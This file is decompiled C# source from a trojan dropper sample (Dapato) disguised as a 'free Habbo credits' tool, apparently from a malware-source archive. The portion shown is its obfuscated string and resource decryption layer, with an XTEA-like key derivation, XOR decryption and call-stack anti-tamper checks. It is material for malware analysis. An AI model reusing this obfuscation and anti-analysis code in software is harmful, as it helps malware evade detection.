MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8/_0003 .cs

// Decompiled with JetBrains decompiler
// Type:  
// Assembly: qzqFreeHabboCredits, Version=924.8446.573.2307, Culture=neutral, PublicKeyToken=null
// MVID: C68363C3-90B9-4B41-B73E-69250BBF6D04
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.avku-a7f57d7af3f5f2eee9dce73783919f24275306ba8511b766b4e534e54464adb8.exe

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Text;
using System.Threading;

internal static class \u0003\u2000
{
  private static \u0003\u2000.\u0002 \u0002;

  static \u0003\u2000()
  {
    \u0003\u2000.\u0002 obj = new \u0003\u2000.\u0002();
    if (false)
      return;
    \u0003\u2000.\u0002 = obj;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  internal static long \u0002()
  {
    if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
      return 5038234971328056794;
    \u0003\u2000.\u0002 obj1 = \u0003\u2000.\u0002;
    if (true)
      goto label_24;
label_3:
    Monitor.Enter((object) obj1);
    \u0003\u2000.\u0002 obj2;
    try
    {
      long num1 = \u0003\u2000.\u0002.\u0002();
      if (true)
        goto label_20;
label_5:
      long num2;
      if (num2 == 0L)
      {
        Assembly executingAssembly = Assembly.GetExecutingAssembly();
        if (true)
          goto label_21;
label_7:
        List<byte> byteList1 = new List<byte>();
        if (true)
          goto label_22;
label_8:
        Assembly assembly;
        AssemblyName assemblyName;
        try
        {
          AssemblyName name = assembly.GetName();
          if (true)
            assemblyName = name;
        }
        catch
        {
          assemblyName = new AssemblyName(assembly.FullName);
        }
        byte[] collection = assemblyName.GetPublicKeyToken();
        if (collection != null && collection.Length == 0)
          collection = (byte[]) null;
        List<byte> byteList2;
        if (collection != null)
          byteList2.AddRange((IEnumerable<byte>) collection);
        byteList2.AddRange((IEnumerable<byte>) Encoding.Unicode.GetBytes(assemblyName.Name));
        int num3 = \u0003\u2000.\u0002(typeof (\u0003\u2000));
        int num4 = \u0003\u2000.\u0005.\u0002();
        byteList2.Add((byte) (num3 >> 24));
        byteList2.Add((byte) (num4 >> 16));
        byteList2.Add((byte) (num3 >> 8));
        byteList2.Add((byte) num4);
        byteList2.Add((byte) (num3 >> 16));
        byteList2.Add((byte) (num4 >> 8));
        byteList2.Add((byte) num3);
        byteList2.Add((byte) (num4 >> 24));
        int count = byteList2.Count;
        ulong num5 = 0;
        for (int index = 0; index != count; ++index)
        {
          ulong num6 = num5 + (ulong) byteList2[index];
          ulong num7 = num6 + (num6 << 20);
          num5 = num7 ^ num7 >> 12;
          byteList2[index] = (byte) 0;
        }
        ulong num8 = num5 + (num5 << 6);
        ulong num9 = num8 ^ num8 >> 22;
        num2 = (long) (num9 + (num9 << 30)) ^ -6616114120088140669L;
        \u0003\u2000.\u0002.\u0002(num2);
        goto label_19;
label_22:
        byteList2 = byteList1;
        goto label_8;
label_21:
        assembly = executingAssembly;
        goto label_7;
      }
label_19:
      return num2;
label_20:
      num2 = num1;
      goto label_5;
    }
    finally
    {
      Monitor.Exit((object) obj2);
    }
label_24:
    obj2 = obj1;
    goto label_3;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  internal static void \u0002(byte[] _param0)
  {
    if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000).Assembly || !\u0003\u2000.\u0002())
      return;
    long num1 = \u0003\u2000.\u0002();
    if (true)
      goto label_8;
label_3:
    byte[] numArray1 = new byte[8];
    if (true)
      goto label_9;
label_4:
    byte[] numArray2;
    long num2;
    numArray2[0] = (byte) num2;
    numArray2[1] = (byte) (num2 >> 40);
    numArray2[2] = (byte) (num2 >> 56);
    numArray2[3] = (byte) (num2 >> 48);
    numArray2[4] = (byte) (num2 >> 32);
    numArray2[5] = (byte) (num2 >> 24);
    numArray2[6] = (byte) (num2 >> 16);
    numArray2[7] = (byte) (num2 >> 8);
    int length = _param0.Length;
    if (true)
      goto label_10;
label_5:
    int num3;
    for (int index = 0; index != num3; ++index)
      _param0[index] ^= (byte) ((uint) numArray2[index & 7] + (uint) index);
    return;
label_10:
    num3 = length;
    goto label_5;
label_9:
    numArray2 = numArray1;
    goto label_4;
label_8:
    num2 = num1;
    goto label_3;
  }

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static bool \u0002() => \u0003\u2000.\u0003();

  [MethodImpl(MethodImplOptions.NoInlining)]
  private static bool \u0003()
  {
    StackTrace stackTrace1 = new StackTrace();
    if (true)
      goto label_6;
label_1:
    StackTrace stackTrace2;
    StackFrame frame = stackTrace2.GetFrame(3);
    if (true)
      goto label_7;
label_2:
    StackFrame stackFrame;
    MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod();
    if (true)
      goto label_8;
label_3:
    MethodBase methodBase2;
    Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType;
    return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0003\u2000).Assembly;
label_8:
    methodBase2 = methodBase1;
    goto label_3;
label_7:
    stackFrame = frame;
    goto label_2;
label_6:
    stackTrace2 = stackTrace1;
    goto label_1;
  }

  private static int \u0002(Type _param0)
  {
    Type type = _param0;
    if (true)
      ;
    return type.MetadataToken;
  }

  private sealed class \u0002
  {
    private int \u0002;
    private int \u0003;

    internal \u0002()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
      this.\u0002(0L);
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal long \u0002()
    {
      if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
        return 2918384;
      int[] numArray1 = new int[4];
      if (true)
        goto label_14;
label_3:
      int[] numArray2;
      numArray2[3] = -~~--~~--~~627729805;
      numArray2[1] = ~--~~--~-~~1069225128;
      numArray2[2] = -~-~~--~~-~669527105;
      numArray2[0] = -~-~~--~~-388920300;
      int num1 = this.\u0002;
      if (true)
        goto label_15;
label_4:
      int num2 = this.\u0003;
      if (true)
        goto label_16;
label_5:
      int num3 = -~~-~--~-~~1640531527;
      if (true)
        goto label_17;
label_6:
      int num4 = -~-~~-~--~~957401312;
      if (true)
        goto label_18;
label_7:
      if (true)
        goto label_19;
label_9:
      int num5;
      int num6;
      int num7;
      int num8;
      int num9;
      for (; num9 != 32; ++num9)
      {
        num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3];
        num7 -= num8;
        num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3];
      }
      for (int index = 0; index != 4; ++index)
        numArray2[index] = 0;
      return (long) ((ulong) num5 << 32 | (ulong) (uint) num6);
label_19:
      num9 = 0;
      goto label_9;
label_18:
      num7 = num4;
      goto label_7;
label_17:
      num8 = num3;
      goto label_6;
label_16:
      num5 = num2;
      goto label_5;
label_15:
      num6 = num1;
      goto label_4;
label_14:
      numArray2 = numArray1;
      goto label_3;
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal void \u0002(long _param1)
    {
      if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002).Assembly || !\u0003\u2000.\u0002())
        return;
      int[] numArray1 = new int[4];
      if (true)
        goto label_13;
label_2:
      int[] numArray2;
      numArray2[1] = -~~--~~-~-~1069225126;
      numArray2[0] = ~-~--~~-~-388920304;
      numArray2[2] = ~-~--~~-~-~669527101;
      numArray2[3] = -~~-~-~--~~627729803;
      int num1 = ~--~~-~-~1640531524;
      if (true)
        goto label_14;
label_3:
      int num2 = (int) _param1;
      if (true)
        goto label_15;
label_4:
      int num3 = (int) (_param1 >> 32);
      if (true)
        goto label_16;
label_5:
      if (true)
        goto label_17;
label_6:
      int num4;
      int num5;
      int num6;
      int num7;
      for (int index = 0; index != 32; ++index)
      {
        num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3];
        num6 += num7;
        num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3];
      }
      for (int index = 0; index != 4; ++index)
        numArray2[index] = 0;
      this.\u0002 = num4;
      this.\u0003 = num5;
      return;
label_17:
      num6 = 0;
      goto label_6;
label_16:
      num5 = num3;
      goto label_5;
label_15:
      num4 = num2;
      goto label_4;
label_14:
      num7 = num1;
      goto label_3;
label_13:
      numArray2 = numArray1;
      goto label_2;
    }
  }

  private static class \u0003
  {
    internal static int \u0002(int _param0, int _param1)
    {
      int num1 = _param0;
      if (true)
        ;
      int num2 = _param1 - ~-~--~~-~1281856105;
      return num1 ^ num2;
    }

    internal static int \u0003(int _param0, int _param1)
    {
      int num1 = _param0;
      if (true)
        ;
      int num2 = -~-~-~~-~1431545519;
      return num1 - num2 ^ _param1 + ~--~~-~-~-1541906380;
    }

    internal static int \u0005(int _param0, int _param1)
    {
      int num1 = _param0;
      if (true)
        ;
      int num2 = _param1 - -~~-~-~-~-~-894686461 ^ _param0 - _param1;
      return num1 ^ num2;
    }
  }

  private sealed class \u0005
  {
    public \u0005()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0005).Assembly || !\u0003\u2000.\u0002() ? -1509110933 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)))), \u0003\u2000.\u0002\u2000.\u0002());
  }

  private sealed class \u0006
  {
    public \u0006()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0006).Assembly || !\u0003\u2000.\u0002() ? -82806859 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)) ^ \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u000E.\u0002())));
  }

  private sealed class \u0008
  {
    public \u0008()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0008).Assembly || !\u0003\u2000.\u0002() ? 1294352278 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0006.\u0002() ^ ~--~-~~--~~-527758446, \u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E))), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)) ^ \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), -~-~-~~-~-38783456));
  }

  private sealed class \u000E
  {
    public \u000E()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000E).Assembly || !\u0003\u2000.\u0002() ? 402344241 : \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000E)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005)), \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0006)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)))))));
  }

  private sealed class \u000F
  {
    public \u000F()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u000F).Assembly || !\u0003\u2000.\u0002() ? -56237163 : \u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0008.\u0002(), \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0006.\u0002())), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)));
  }

  private sealed class \u0002\u2000
  {
    public \u0002\u2000()
    {
      if (true)
        ;
      // ISSUE: explicit constructor call
      base.\u002Ector();
    }

    [MethodImpl(MethodImplOptions.NoInlining)]
    internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0003\u2000.\u0002\u2000).Assembly || !\u0003\u2000.\u0002() ? 1106695601 : \u0003\u2000.\u0003.\u0002(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0002\u2000)), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0003.\u0003(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u000F)), \u0003\u2000.\u0002(typeof (\u0003\u2000.\u0005))), \u0003\u2000.\u0003.\u0005(\u0003\u2000.\u0002(typeof (\u0003\u2000.\u0008)) ^ -~~--~~-~-~1036479759, \u0003\u2000.\u000F.\u0002())));
  }
}